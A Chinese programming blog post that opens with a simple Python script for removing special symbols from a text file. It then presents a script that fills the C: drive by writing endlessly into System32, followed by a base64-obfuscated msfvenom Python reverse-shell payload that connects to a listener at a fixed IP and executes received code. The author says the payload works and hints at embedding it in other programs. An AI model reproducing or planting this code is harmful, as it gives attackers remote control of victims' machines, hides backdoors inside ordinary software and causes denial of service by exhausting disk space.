小程序分享—去除文档中的特殊符号

想必大家都遇到过文档中的特殊符号吧,比如‘▲’,‘&',‘¥’等等,这会导致阅读体验下降,那么如何解决呢?

Office软件有一个叫做“查找替换”的功能,快捷键“Ctrl + h”可以调出来,然后替换就直接可以了;

但我想用Python实现这个功能,顺便也把所学的知识实践一下!

涉及的知识很少,只有文件操作;


思路:

1.遍历文件,将特殊字符替换为空字符(你也可以替换为其他的字符);

2.将替换后的字符串写入新的文件中。


Code:

f = open('C:\\Users\\jack\\Desktop\\Python_Project\\Small_Program\\去除特殊符号\\count.txt','r',encoding='utf-8')
f_new = open('C:\\Users\\jack\\Desktop\\Python_Project\\Small_program\\去除特殊符号\\count_new.txt','w',encoding='utf-8')
for line in f:
    line = line.replace('►', '')
    line = line.replace('◄', '')
    f_new.write(line)

这样就基本完成了,简单吧。


还没完,之前用C写了个通过循环爆磁盘空间的程序,现在用Python来实现!

#-*- coding:utf-8 -*-
__author__ = "Onlss"

f = open('C:\\Windows\\System32\\test.txt','w',encoding='utf-8')
while True:
    f.write('this is a test ')
在CMD下以管理员权限运行,C盘过几分钟就会被爆满。


还没完,一时心血来潮,思考如果把msfvenom(懂的人都懂)下生成的Python木马中的源码直接复制出来,添加在其他的Python程序中,然后在msf开启监听,坐等meterpreter回连。

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxOTIuMTY4LjMuMTM1Jyw0NDQ0KSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))
真的可以回连,如果把这段代码加入到XX中,你懂的!

毕竟是主学安全的,必须有点安全思维。


总结:

对于我们这些初学者,我们到网上找文档看,找视频看,看完后完成了视频或文档中布置的作业就觉得自己懂了,会了,其实只是皮毛而已,所有学到的知识不经过思考和实践是不可能完全掌握的,那么应该如何实践呢?最好的方法就是去寻找实际的问题,比如某个同事的文档需要批量删除某一句话;批量转换格式等等。只有灵活运用Python解决了各种实际的问题,才能说会,否则,只是在闭门造车,骗自己!

最好养成这样一个习惯:生活中遇到的所有事,先思考能不能用编程解决,如果能,思路是怎么样?代码该怎么写?


  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值